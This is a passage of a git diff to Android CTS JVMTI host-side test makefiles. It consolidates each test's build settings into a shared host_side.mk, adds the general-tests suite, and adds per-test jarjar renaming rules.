-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/Android.mk b/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
index a24d668..740c410 100644
--- a/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt
new file mode 100644
index 0000000..a819464e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest920@1
diff --git a/hostsidetests/jvmti/run-tests/test-922/Android.mk b/hostsidetests/jvmti/run-tests/test-922/Android.mk
index 2de665a..d84b832 100644
--- a/hostsidetests/jvmti/run-tests/test-922/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-922/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest922HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/Android.mk b/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
index ada0edc..dc69693 100644
--- a/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt
new file mode 100644
index 0000000..9334c2d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest922@1
diff --git a/hostsidetests/jvmti/run-tests/test-923/Android.mk b/hostsidetests/jvmti/run-tests/test-923/Android.mk
index dd1de3c..d7f9f09 100644
--- a/hostsidetests/jvmti/run-tests/test-923/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-923/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest923HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/Android.mk b/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
index c94d431..6284f7d 100644
--- a/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt
new file mode 100644
index 0000000..5054eeb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest923@1
diff --git a/hostsidetests/jvmti/run-tests/test-924/Android.mk b/hostsidetests/jvmti/run-tests/test-924/Android.mk
index 28c4b89..7e71607 100644
--- a/hostsidetests/jvmti/run-tests/test-924/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-924/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest924HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/Android.mk b/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
index f1acfd0..18e4f72 100644
--- a/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt
new file mode 100644
index 0000000..86780fc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest924@1
diff --git a/hostsidetests/jvmti/run-tests/test-926/Android.mk b/hostsidetests/jvmti/run-tests/test-926/Android.mk
index fcd46ad..d11f3f3 100644
--- a/hostsidetests/jvmti/run-tests/test-926/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-926/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest926HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/Android.mk b/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
index a597fb1..3436029 100644
--- a/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt
new file mode 100644
index 0000000..831e1634
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest926@1
diff --git a/hostsidetests/jvmti/run-tests/test-927/Android.mk b/hostsidetests/jvmti/run-tests/test-927/Android.mk
index 939601c..839ab86 100644
--- a/hostsidetests/jvmti/run-tests/test-927/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-927/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest927HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/Android.mk b/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
index 9c71950..1e8fdb3 100644
--- a/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt
new file mode 100644
index 0000000..e342e09
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest927@1
diff --git a/hostsidetests/jvmti/run-tests/test-928/Android.mk b/hostsidetests/jvmti/run-tests/test-928/Android.mk
index 2eac8f9..30ec7b5 100644
--- a/hostsidetests/jvmti/run-tests/test-928/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-928/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest928HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/Android.mk b/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
index 2eb3612..fa3537f 100644
--- a/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt
new file mode 100644
index 0000000..52ce9fe
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest928@1
diff --git a/hostsidetests/jvmti/run-tests/test-930/Android.mk b/hostsidetests/jvmti/run-tests/test-930/Android.mk
index 2ac9ae2..73e6ba5d 100644
--- a/hostsidetests/jvmti/run-tests/test-930/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-930/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest930HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/Android.mk b/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
index 873b273..6affa06 100644
--- a/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt
new file mode 100644
index 0000000..b45db2f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest930@1
diff --git a/hostsidetests/jvmti/run-tests/test-931/Android.mk b/hostsidetests/jvmti/run-tests/test-931/Android.mk
index ae04387..3c2175d 100644
--- a/hostsidetests/jvmti/run-tests/test-931/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-931/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest931HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/Android.mk b/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
index c03028a..52eed76 100644
--- a/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt
new file mode 100644
index 0000000..9570d03
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest931@1
diff --git a/hostsidetests/jvmti/run-tests/test-932/Android.mk b/hostsidetests/jvmti/run-tests/test-932/Android.mk
index c952c86..3773279 100644
--- a/hostsidetests/jvmti/run-tests/test-932/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-932/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest932HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/Android.mk b/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
index 651a9ee..e0c96d3 100644
--- a/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt
new file mode 100644
index 0000000..fc9fd30
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest932@1
diff --git a/hostsidetests/jvmti/run-tests/test-940/Android.mk b/hostsidetests/jvmti/run-tests/test-940/Android.mk
index 4ed5dec..372ee0d 100644
--- a/hostsidetests/jvmti/run-tests/test-940/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-940/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest940HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/Android.mk b/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
index c2121eb..0ba569c 100644
--- a/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt
new file mode 100644
index 0000000..71c7825
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest940@1
diff --git a/hostsidetests/jvmti/run-tests/test-942/Android.mk b/hostsidetests/jvmti/run-tests/test-942/Android.mk
index d2605b7..9a9407a 100644
--- a/hostsidetests/jvmti/run-tests/test-942/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-942/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest942HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/Android.mk b/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
index 82d3b6a..a29d4b6 100644
--- a/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt
new file mode 100644
index 0000000..76d0e86
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest942@1
diff --git a/hostsidetests/jvmti/run-tests/test-944/Android.mk b/hostsidetests/jvmti/run-tests/test-944/Android.mk
index 16f9c7f..c60d2e2 100644
--- a/hostsidetests/jvmti/run-tests/test-944/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-944/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest944HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/Android.mk b/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
index c820284..d564fc5 100644
--- a/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt
new file mode 100644
index 0000000..3f0fecf
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest944@1
diff --git a/hostsidetests/jvmti/run-tests/test-945/Android.mk b/hostsidetests/jvmti/run-tests/test-945/Android.mk
index e86d85e..433d9ac6 100644
--- a/hostsidetests/jvmti/run-tests/test-945/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-945/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest945HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/Android.mk b/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
index b704807..b1a8290 100644
--- a/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt
new file mode 100644
index 0000000..03ea4b9
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest945@1
diff --git a/hostsidetests/jvmti/run-tests/test-947/Android.mk b/hostsidetests/jvmti/run-tests/test-947/Android.mk
index 4b4cead..0201816 100644
--- a/hostsidetests/jvmti/run-tests/test-947/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-947/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest947HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/Android.mk b/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
index 42cc459..5d315e8 100644
--- a/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt
new file mode 100644
index 0000000..d229133
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest947@1
diff --git a/hostsidetests/jvmti/run-tests/test-951/Android.mk b/hostsidetests/jvmti/run-tests/test-951/Android.mk
index ba45b86..e198f70 100644
--- a/hostsidetests/jvmti/run-tests/test-951/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-951/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest951HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/Android.mk b/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
index 6b22274..273bec3 100644
--- a/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt
new file mode 100644
index 0000000..34d0341
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest951@1
diff --git a/hostsidetests/jvmti/run-tests/test-982/Android.mk b/hostsidetests/jvmti/run-tests/test-982/Android.mk
index 908adaf..e245e1d 100644
--- a/hostsidetests/jvmti/run-tests/test-982/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-982/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest982HostTestCases
